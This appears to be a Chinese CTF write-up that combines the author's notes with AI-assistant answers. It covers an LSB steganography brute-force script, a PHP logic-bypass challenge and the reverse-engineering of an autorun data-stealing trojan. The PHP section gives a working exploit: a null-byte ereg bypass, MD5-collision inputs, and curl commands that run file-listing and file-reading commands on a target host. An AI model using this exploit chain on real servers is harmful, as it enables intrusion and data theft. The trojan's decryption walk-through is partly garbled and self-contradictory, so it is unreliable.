尝试位面（bitplane）0~3（0=LSB，1=次LSB…）；
对每种组合，按两种字节构造顺序（MSB-first / LSB-first）拼字节；
自动做 html.unescape()，并输出可打印字符比例用于判断是否为合理结果；
将每种尝试的原文候选保存到 results/ 目录，文件名注明配置，便于比对。

把下面脚本保存为 lsb_bruteforce.py，安装依赖并运行即可。

 1# lsb_bruteforce.py
 2# Usage:
 3# pip install pillow
 4# python lsb_bruteforce.py html.png
 5#
 6# 输出会写入 ./results/ 目录，带每种尝试的配置。
 7
 8import sys
 9import os
 10from PIL import Image
 11import html
 12import string
 13
 14def ensure_dir(d):
 15 if not os.path.exists(d):
 16 os.makedirs(d)
 17
 18def get_pixels(img):
 19 # Return pixel sequence as list of tuples
 20 px = list(img.getdata())
 21 return px
 22
 23def extract_bits_from_channel_value(val, bitplane, nbits):
 24 """
 25 Extract nbits starting at bitplane (0 = LSB) from value.
 26 Return list of bits as '0'/'1' in order from most-significant-of-extracted to least.
 27 e.g. val=0bABCDEFGH, bitplane=0, nbits=2 -> extract bits H (bit0) and G (bit1)
 28 We return them in order [G,H] if we later want MSB-first grouping, but we'll control ordering later.
 29 """
 30 bits = []
 31 for i in range(nbits):
 32 bpos = bitplane + i
 33 bits.append( (val >> bpos) & 1 )
 34 # Return as strings
 35 return [str(b) for b in bits]
 36
 37def build_byte_from_bits(bit_list, msb_first=True):
 38 """Take up to 8 bits (strings '0'/'1') and return an int byte.
 39 If fewer than 8 bits at end, pad with zeros on the right (least significant side)."""
 40 if len(bit_list) < 8:
 41 # pad with '0' to full byte
 42 bit_list = bit_list + ['0'] * (8 - len(bit_list))
 43 if msb_first:
 44 s = ''.join(bit_list[:8])
 45 return int(s, 2)
 46 else:
 47 # LSB-first ordering: first bit is least significant
 48 s = ''.join(reversed(bit_list[:8]))
 49 return int(s, 2)
 50
 51def bits_to_bytes_and_text(bit_stream, msb_first=True, max_chars=200000):
 52 # group into bytes and try decode as utf-8 (ignore errors)
 53 bytes_arr = bytearray()
 54 for i in range(0, len(bit_stream), 8):
 55 b = build_byte_from_bits(bit_stream[i:i+8], msb_first=msb_first)
 56 bytes_arr.append(b)
 57 if len(bytes_arr) >= max_chars:
 58 break
 59 try:
 60 text = bytes_arr.decode('utf-8', errors='replace')
 61 except Exception:
 62 text = ''.join(chr(b) for b in bytes_arr)
 63 return bytes_arr, text
 64
 65def printable_ratio(s):
 66 if not s:
 67 return 0.0
 68 printable = sum(1 for ch in s if ch in string.printable)
 69 return printable / len(s)
 70
 71def try_configs(img_path, outdir='results'):
 72 img = Image.open(img_path)
 73 # if image has palette convert to RGBA/RGB
 74 mode = img.mode
 75 if mode not in ('RGB', 'RGBA'):
 76 if 'A' in mode:
 77 img = img.convert('RGBA')
 78 else:
 79 img = img.convert('RGB')
 80
 81 px = get_pixels(img)
 82 width, height = img.size
 83 channels_map = {
 84 'R': 0, 'G': 1, 'B': 2, 'A': 3
 85 }
 86 channel_options = [
 87 ('R', ['R']),
 88 ('G', ['G']),
 89 ('B', ['B']),
 90 ('A', ['A']) if img.mode == 'RGBA' else None,
 91 ('RG', ['R','G']),
 92 ('RB', ['R','B']),
 93 ('GB', ['G','B']),
 94 ('RGB', ['R','G','B']),
 95 ]
 96 channel_options = [c for c in channel_options if c is not None]
 97
 98 ensure_dir(outdir)
 99
100 total_tries = 0
101 for ch_name, ch_list in channel_options:
102 for bitplane in range(0, 4): # which bitplane to start (0 = LSB)
103 for nbits in range(1, 5): # how many LSBs per selected channel (1..4)
104 # Build bit stream
105 bit_stream = []
106 for p in px:
107 # p might be (r,g,b) or (r,g,b,a)
108 for ch in ch_list:
109 idx = channels_map[ch]
110 if idx >= len(p):
111 continue
112 val = p[idx]
113 bits = extract_bits_from_channel_value(val, bitplane, nbits)
114 # We append bits in order of extraction (lower bitplane first)
115 # That yields: [bit_at(bitplane), bit_at(bitplane+1), ...]
116 # The grouping later will try both MSB-first and LSB-first.
117 bit_stream.extend(bits)
118
119 # try two byte bit-orderings: msb_first True & False
120 for msb_first in (True, False):
121 total_tries += 1
122 b_arr, txt = bits_to_bytes_and_text(bit_stream, msb_first=msb_first)
123 # post-process: unescape html entities
124 unescaped = html.unescape(txt)
125 pr = printable_ratio(unescaped)
126 # heuristics filename
127 fname = f"{outdir}/out_{ch_name}_bp{bitplane}_nb{nbits}_{'MSB' if msb_first else 'LSB'}.txt"
128 with open(fname, 'w', encoding='utf-8', errors='replace') as f:
129 f.write("=== Metadata ===\n")
130 f.write(f"image: {img_path}\nchannels: {ch_name}\nbitplane(start): {bitplane}\nnbits_per_channel: {nbits}\nbyte_bit_order_msb_first: {msb_first}\n\n")
131 f.write("=== Raw decode (utf-8 replace) ===\n")
132 f.write(txt)
133 f.write("\n\n=== html.unescape ===\n")
134 f.write(unescaped)
135 f.write("\n\n=== Stats ===\n")
136 f.write(f"length chars: {len(unescaped)}\nprintable ratio: {pr:.4f}\n")
137 # print quick summary to console for convenience
138 summary = f"Try {total_tries}: ch={ch_name} bp={bitplane} nb={nbits} msb={msb_first} printable_ratio={pr:.3f} -> {fname}"
139 print(summary)
140 print(f"Done. total tries: {total_tries}. Results in: {outdir}/")
141
142if __name__ == "__main__":
143 if len(sys.argv) < 2:
144 print("Usage: python lsb_bruteforce.py path/to/html.png")
145 sys.exit(1)
146 img_path = sys.argv[1]
147 try:
148 try_configs(img_path, outdir='results')
149 except Exception as e:
150 print("Error:", e)
151 raise

如何判断哪个结果是“正确的”

打开 results/ 目录下的 .txt 文件，查看 === html.unescape === 部分。
正确的结果通常有高可打印字符比例（printable_ratio 接近 0.9+），并且有明显可读的文本，例如 &#x..; 已被转为 flag{...} 或 URL/ASCII 文本。
如果你发现输出仍然是 HTML 实体（&#x..;），再把那段实体文本用 Python 的 html.unescape()（脚本已经做过）或在线 HTML entity decode 转换一次即可。

可能的进一步步骤（如果上面没解出可读文本）

有些隐写工具把位顺序、通道顺序或字节组装方式弄得更复杂；如果上述尝试都没结果，可以：
- 增加 bitplane 到更大值（比如 0..7） — 但通常 0..3 就够了；
- 尝试不同的像素遍历顺序（现在是左到右、上到下）；可尝试列优先或分块读取；
- 如果结果看起来像 Base64（只含字母数字+/=），做一次 base64 解码；
- 如果结果像二进制加密（无高可打印率），可能还有 XOR/AES 等二次加密，需要额外分析。

很好，你已经跑出 256 个候选结果 — 现在的任务是快速筛出最可能有用的几个文件。下面我先给你一套清晰的判别规则（为什么选），然后给你一个可直接在本地运行的 Python 脚本来自动打分并列出最有希望的前 N 个文件，以及若干简单的命令行快速检查方法。照着做 1–2 分钟就能把 256 个结果缩到 5 个以内。

一、判断“有用”的直观信号（优先级从高到低）

可打印字符比例高（printable ratio 高） —— 接近 0.8~1.0 极有可能是可读文本。
包含 HTML 实体 &#x 串（说明提取出的是实体编码，后续 html.unescape() 会还原） —— 你先前提到就是这种情形。
包含明显关键字：flag、FLAG、CTF、{、}、http、base64、BEGIN/--BEGIN 等。
看起来像 Base64（只有 A-Za-z0-9+/= 且长度较长） —— 可能还需 base64 解码。
低熵但可打印（长序列的英文单词/句子） —— 很可能是最终明文。
随机乱码、多不可打印字符/非 ASCII —— 通常无用（排除）。

二、如果你想更快（命令行小技巧）

在 Linux / macOS / WSL / Git Bash 下：

直接查找包含 flag 的文件：

1grep -R -i "flag" results/ -n

找出包含 HTML 实体的文件：

1grep -R "&#x" results/ -n

列出含高 printable_ratio 的（假设你没有用脚本产生 ratio，但可以看文件大小或直接 head）：

1# show first 200 chars of each file (quick glance)
2for f in results/*.txt; do echo "==== $f ===="; head -c 200 "$f"; echo; echo; done

在 Windows PowerShell：

1Select-String -Path .\results\*.txt -Pattern "flag","&#x" -CaseSensitive:$false

三、对 `html.unescape()` 的进一步处理建议

如果文件内容是 &#x..; 实体 —— 直接用脚本或 html.unescape()（你的 earlier 脚本已做）。
如果解码后得到看起来像 aGVsbG8...（Base64），再做 base64.b64decode()。
如果得到奇怪二进制或看起来像随机文本，可能还有 XOR/AES，需要进一步分析（但先不要到那一步，通常不会）。

你可以把 rank_results.py 的输出 top 5 的文件名贴上来，或把其中第1个文件的 === html.unescape === 部分直接粘贴，我来替你把那段进一步还原（HTML 解码 -> Base64 解码 -> 关键词检测 -> 可能的简单 XOR 检查），并给出明确下一步操作。

要不要我现在帮你跑这一轮自动筛选（你把 results/ 打包上传或把 top few 文件内容贴上来）？如果你不想上传，我也会一步步指导你本地运行上面的脚本并解读输出。Python：

1import html 
2encoded = "&#x66;&#x6c;&#x61;&#x67;&#x7b;&#x68;&#x30;&#x77;&#x5f;&#x34;&#x62;&#x6f;&#x75;&#x54;&#x5f;&#x65;&#x6e;&#x63;&#x30;&#x64;&#x65;&#x5f;&#x34;&#x6e;&#x64;&#x5f;&#x70;&#x6e;&#x47;&#x7d;" 
3print(html.unescape(encoded))

在线工具：

搜索关键词：HTML Entity Decode
任选一个贴进去即可

题目 5

任务5: 逻辑绕过

任务描述：目标系统存在一处逻辑较为复杂的代码漏洞。提交要求：审计代码，构造特定的请求参数绕过安全检查，读取flag并提交。

收起靶机信息

靶机地址： http://203.3.80.99:11006

用户名：-

密码：-

 1<?php
 2
 3if (isset($_GET['password']) || isset($_GET['cmd'])) {
 4
 5 if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
 6
 7 echo '<p>You password must be alphanumeric</p>';
 8
 9 } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
10
11 if (strpos($_GET['password'], '*-*') !== FALSE) {
12
13 $cmd = $_GET['cmd'];
14
15 if (preg_match(
16 "/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|\"|`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",
17 $cmd
18 )) {
19
20 echo("forbid ~");
21 echo "<br>";
22
23 } else {
24
25 if ((string)$_POST['a'] !== (string)$_POST['b'] &&
26 md5($_POST['a']) === md5($_POST['b'])) {
27
28 echo `$cmd`;
29
30 } else {
31 echo ("md5 is funny ~");
32 }
33 }
34
35 } else {
36 echo '<p>*-* have not been found</p>';
37 }
38 } else {
39 echo '<p>Invalid password</p>';
40 }
41}
42highlight_file(__FILE__);
43?>

我来帮你分析这段PHP代码的逻辑漏洞。

代码逻辑分析

这段代码有多层检查：

第一层检查：ereg ("^[a-zA-Z0-9]+$", $_GET['password']) - 密码必须是字母数字
第二层检查：strlen($_GET['password']) < 8 && $_GET['password'] > 9999999 - 这里有逻辑漏洞！
第三层检查：strpos ($_GET['password'], '*-*') !== FALSE - 密码必须包含 *-*
第四层检查：preg_match 过滤危险命令
第五层检查：MD5碰撞 - $_POST['a'] 和 $_POST['b'] 必须不同但MD5相同

关键漏洞点

第二层的逻辑问题：

1strlen($_GET['password']) < 8 && $_GET['password'] > 9999999

这里同时要求：

字符串长度小于8
数值大于9999999

PHP在类型比较时会进行类型转换。当字符串与数字比较时，字符串会被转换为数字。

例如："1e8" (科学计数法)

strlen("1e8") = 3 (小于8) ✓
"1e8" > 9999999 → 100000000 > 9999999 ✓

但这与第一层和第三层冲突：

第一层要求纯字母数字（ereg允许通过）
第三层要求包含*-*（不是字母数字）

真正的突破口：ereg函数的NULL字节截断漏洞！

绕过方案

使用URL编码的NULL字节 %00 来截断ereg的检查：

password=1e8%00*-*

ereg只检查到%00前的1e8，认为是纯字母数字 ✓
strlen("1e8\0*-*") = 7 < 8 ✓
"1e8\0*-*" > 9999999 → 转换为1e8 = 100000000 > 9999999 ✓
strpos能找到完整字符串中的*-* ✓

完整的攻击请求

GET参数：

?password=1e8%00*-*&cmd=cat flag

POST参数 (MD5碰撞)：

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这两个值内容不同但MD5值相同。

这样就可以绕过所有检查，执行cat flag命令读取flag了。> [!question]

flag不一定在这个目录下，怎么看目录有哪些文件，什么命令可以替代ls的功能

好问题！ls 被过滤了，我们可以用这些命令替代：

1# 方案1: 使用 dir (Linux也支持)
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=dir' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2'

1# 方案2: 使用通配符 * (但*被过滤了，用 printf)
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=printf%20%27%25s%5Cn%27%20*' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

1# 方案3: 使用 find (最强大，可以搜索整个系统)
2# 搜索当前目录
3curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20.' \
4 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
5 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

1# 方案4: 搜索根目录下所有名为flag的文件
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20/%20%20name%20flag' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

先试试 dir 或 find . 看看当前目录有什么文件！

完美！找到flag文件了：f1ag098765432.php

现在读取它：

1curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=sort%20f1ag098765432.php' \
2 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
3 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

或者用其他命令：

1# 使用 strings
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=strings%20f1ag098765432.php' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

1# 使用 rev
2curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=rev%20f1ag098765432.php' \
3 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
4 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

执行任意一条就能读取到flag了！🚀

 1# 方案3: 使用 find (最强大，可以搜索整个系统)
 2# 搜索当前目录
 3curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=find%20.' \
 4 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
 5 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'
 6 
 7
 8curl 'http://203.3.80.99:11006/index.php?password=1e8%00*-*&cmd=sort%20f1ag098765432.php' \
 9 -d 'a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' \
10 -d 'b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2'

Success

flag{c99d4695b1f9137804fc83813d20ba1e}

题目 6

任务6: 木马分析

任务描述：某单位在内外网互传数据的光盘中捕获一窃密木马，现提供包含该木马的样本文件。提交要求：通过逆向分析，找出该木马上传数据时的回连IP与端口。附件地址：https://cos-competitioin.ncvsc.inspc.org.cn/files/cs-st-d2-6b9c154dc597/ST-D-QA0006.iso

xxd 公民信息.jpg | less

感觉啥也没有啊

我来帮您分析这个可疑的木马样本。根据您提供的信息,这是一个通过光盘传播的窃密木马。

初步分析

从 Autorun.inf 文件内容可以看出:

1[autorun]
2OPEN=.helper\helper.exe
3ICON=.helper\IconGroup302.ico

关键发现:

自动运行机制: 光盘插入时会自动执行 .helper\helper.exe
伪装手段: 使用 公民信息.jpg 作诱饵文件,实际木马程序隐藏在 .helper 目录中
可疑文件: helper.exe 是需要重点分析的木马主程序

逆向分析方案

要找出回连IP和端口,您需要:

1. 静态分析

使用工具: IDA Pro、Ghidra、x64dbg
提取 helper.exe 文件
查找字符串中的IP地址和端口号
分析网络相关API调用(如 connect, WSAConnect, InternetConnect 等)

2. 动态分析

在隔离环境(沙箱)中运行 helper.exe
使用 Wireshark 或 tcpdump 抓包分析网络流量
使用 Process Monitor 监控进程行为

3. 字符串搜索

可以先用简单的工具快速查找:

1strings helper.exe | grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"

需要您提供的信息

为了帮您完成具体的逆向分析,我需要:

helper.exe 文件本身 - 这是木马主程序
或者提供该文件的更多信息:
- 文件大小
- MD5/SHA256 哈希值
- 是否可以上传该文件

安全提醒:

⚠️ 请在隔离的虚拟机环境中操作
⚠️ 不要在生产环境中运行可疑文件
⚠️ 分析完成后及时向相关安全部门报告

您能否提供 helper.exe 文件或其更多详细信息?这样我可以帮您进行更深入的分析。乍一看好像就完全没有 .helper 文件夹，以为iso是不是下载不全，又重新下载一遍，还是没有helper。网上看了一个WP都是直接装载iso就有helper，就玄学，然后问了大佬大佬用的命令行式claude直接一步到位。玄学，我怎么就找不到helper 后来发现windows挂载就是不行，vmware从windows挂载到kali也不行，必须在kali中复制iso，直接在kali中挂载，右键点击 “Open with Engrampa Archive Manager”，注意kali的"装载"一个光盘图标的那个也不行。

找到exe了，现在就对exe下手了

1file helper.exe
2exiftool helper.exe
3# 脱壳（-d 参数）
4upx -d helper.exe -o helper_unpacked.exe

题目要求找回连IP与端口

查看字符串（寻找 IP 和端口）

 1# 查看所有可读字符串
 2strings helper.exe | less
 3
 4# 搜索 IP 地址
 5strings helper.exe | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}"
 6
 7# 搜索网络相关
 8strings helper.exe | grep -iE "(http|tcp|connect|socket|port|ws2_32|wininet)"
 9
10# 搜索常见 C2 域名特征
11strings helper.exe | grep -E "\.(com|net|org|cn|ru)" | head -20

可以看到是又一些结果的，脱壳和不脱壳的结果是不一样的。

然后用idqa64打开，F5一下然后丢AI分析

看这段代码，这是一个程序的启动和初始化流程。要找回连的IP与端口，我需要关注几个关键点：

分析思路

关键函数调用：sub_1400FFFF0 看起来很可疑，它接收了命令行参数
全局变量：qword_140141020 存储了命令行参数数组
最终执行：代码最后调用了 start() 函数

建议的分析步骤

要找到连接的IP和端口，你应该：

1. 分析 `sub_1400FFFF0` 函数

1# 在IDA中跳转到这个函数
2# 快捷键：G 然后输入 1400FFFF0

这个函数接收命令行参数，很可能包含网络配置逻辑。

2. 查找网络相关API调用

在IDA中搜索以下函数引用：

WSAStartup / WSAConnect
socket / connect / bind
inet_addr / inet_ntoa
htons / ntohs
send / recv

搜索方法：

Alt + T (文本搜索)
或
Alt + B (二进制搜索)

3. 查看字符串引用

Shift + F12 # 打开字符串窗口

寻找可能的IP地址格式：

点分十进制：xxx.xxx.xxx.xxx
域名
端口号（通常是固定的数字）

4. 动态调试

使用 x64dbg 或 IDA 调试器：

在 sub_1400FFFF0 入口下断点
在 socket 相关函数下断点
查看函数参数和返回值

你现在能否提供：

sub_1400FFFF0 函数的反编译代码？
程序的字符串列表截图或内容？
或者你是否可以运行程序并抓包查看网络流量？

这样我能更准确地帮你定位IP和端口信息。

这个函数主要是解析命令行参数，然后调用 sub_14000370F。关键在于这个函数！

分析结果

这个函数的作用是：

获取命令行参数 (_p__acmdln())
跳过程序名称部分
将剩余参数传递给 sub_14000370F

下一步：分析关键函数

sub_14000370F 才是真正的入口点！ 这个函数接收了命令行参数，很可能包含网络连接逻辑。

请提供 sub_14000370F 函数的反编译代码，这个函数应该包含：

IP地址和端口的配置
Socket连接代码
或者调用更底层的网络函数

快速定位方法

如果代码太长，你可以：

方法1：搜索网络API

在IDA中按 Ctrl+F 搜索以下字符串：

connect
socket
WSAStartup
inet_addr
htons
send
recv

方法2：查看导入表

View → Open subviews → Imports (或按 Ctrl+F7)

查找 ws2_32.dll 或 wsock32.dll 相关的导入函数

方法3：查看字符串

Shift + F12

搜索可能的IP地址模式：

数字+点的组合
127.0.0.1、192.168.、10.等常见IP段
常见端口号：4444、8080、443等

方法4：动态分析（最快）

如果可以运行程序：

1# 使用 Wireshark 或 tcpdump 抓包
2# 或使用 Process Monitor 查看网络活动

请提供 sub_14000370F 的代码，或者告诉我你在字符串/导入表中看到了什么网络相关的内容？

找到了！这是一个从配置文件读取IP和端口的恶意程序。

关键信息定位

IP地址和端口的获取方式

程序从 config.ini 配置文件中读取：

1// 读取 C2 服务器IP
2GetPrivateProfileStringA("Common", "C2IP", default_value, &ReturnedString, 0x80u, config_path)
3
4// 读取 C2 服务器端口
5GetPrivateProfileStringA("Common", "C2Port", default_value, &Dest, 0x80u, config_path)
6
7// 端口转换为数字
8v82 = sub_1400EB1A0(&v49, 0i64, 10i64); // 字符串转整数

默认值（加密字符串）

如果配置文件不存在，程序使用加密的默认值：

默认IP: "1FP[n€崡闹潴" (加密字符串)
默认端口: "2DScq" (加密字符串)

这些字符串通过 sub_1400014D5 函数解密。

如何找回IP和端口

方法1：查找配置文件（最简单）

配置文件位置：

程序所在目录\config.ini

查看配置文件内容：

1[Common]
2C2IP=xxx.xxx.xxx.xxx
3C2Port=xxxx

方法2：解密默认字符串

需要分析 sub_1400014D5 解密函数：

1# 在IDA中跳转到该函数
2# 按 G，输入：1400014D5

这个函数会将加密字符串解密为明文IP和端口。

方法3：动态调试（推荐）

使用 x64dbg：

1. 在 GetPrivateProfileStringA 调用后下断点
2. 查看 ReturnedString (IP地址)
3. 查看 Dest (端口)
4. 查看 v82 (端口数值)

或者在这里下断点：

地址：sub_14000314C 调用处
参数：
- &v67: IP地址字符串
- v26 (v82): 端口号

方法4：Hook API调用

使用 API Monitor 或 Process Monitor 监控：

GetPrivateProfileStringA 的返回值
connect 函数的参数

快速获取方法

运行这个Python脚本解密：

1# 需要先用IDA提取 sub_1400014D5 的解密算法
2# 或者直接动态调试获取解密后的字符串
3
4# 如果你能提供 sub_1400014D5 的代码，我可以帮你写解密脚本

请提供以下之一：

sub_1400014D5 函数的反编译代码（解密函数）
程序运行目录下的 config.ini 文件内容
或者我帮你写个动态调试脚本直接提取

你选择哪种方法？如果提供解密函数代码，我能立即帮你计算出IP和端口。

完美！这是一个简单的XOR解密算法。让我来解密这些字符串。

解密算法分析

1// 核心解密逻辑：
2v8 = *v4; // 获取加密字符
3decrypted_char = -15 * index + encrypted_char;

这是一个基于索引的减法解密：每个字符减去 (15 * 索引)

解密脚本

 1def decrypt_string(encrypted):
 2 """解密函数"""
 3 decrypted = []
 4 for i, char in enumerate(encrypted):
 5 # 解密公式: char - (15 * index)
 6 decrypted_char = (ord(char) - 15 * i) % 256
 7 decrypted.append(chr(decrypted_char))
 8 return ''.join(decrypted)
 9
10# 加密的字符串
11encrypted_ip = "1FP[n€崡闹潴"
12encrypted_port = "2DScq"
13
14# 解密
15decrypted_ip = decrypt_string(encrypted_ip)
16decrypted_port = decrypt_string(encrypted_port)
17
18print(f"解密后的IP: {decrypted_ip}")
19print(f"解密后的端口: {decrypted_port}")

让我手动计算一下：

解密 IP: “1FP[n€崡闹潴”

索引0: '1' (0x31) - 15*0 = 0x31 = '1'
索引1: 'F' (0x46) - 15*1 = 0x46 - 15 = 0x37 = '7'
索引2: 'P' (0x50) - 15*2 = 0x50 - 30 = 0x20 = '2'
索引3: '[' (0x5B) - 15*3 = 0x5B - 45 = 0x2E = '.'
索引4: 'n' (0x6E) - 15*4 = 0x6E - 60 = 0x0A (需要处理...)

等等，这里有些特殊字符（中文字符），可能是编码问题。让我用另一种方法：

 1def decrypt_bytes(data):
 2 """按字节解密"""
 3 result = []
 4 for i, byte in enumerate(data):
 5 decrypted = (byte - 15 * i) & 0xFF # 保持在0-255范围
 6 if 32 <= decrypted <= 126: # 可打印ASCII
 7 result.append(chr(decrypted))
 8 else:
 9 result.append(f'\\x{decrypted:02x}')
10 return ''.join(result)
11
12# 需要获取原始字节

快速方法：动态提取

由于字符串包含非ASCII字符，最快的方法是动态调试：

使用 x64dbg：

在 sub_1400014D5 函数返回前下断点
查看 a1（返回缓冲区）的内容

或者在关键位置下断点：

断点位置：sub_14000314C 调用处（连接函数）
查看参数：
- 第1个参数：IP地址
- 第2个参数：端口号

另一种方法：查看程序字符串

试试这个快速方法：

1# 如果你能提供程序文件，运行这个
2import subprocess
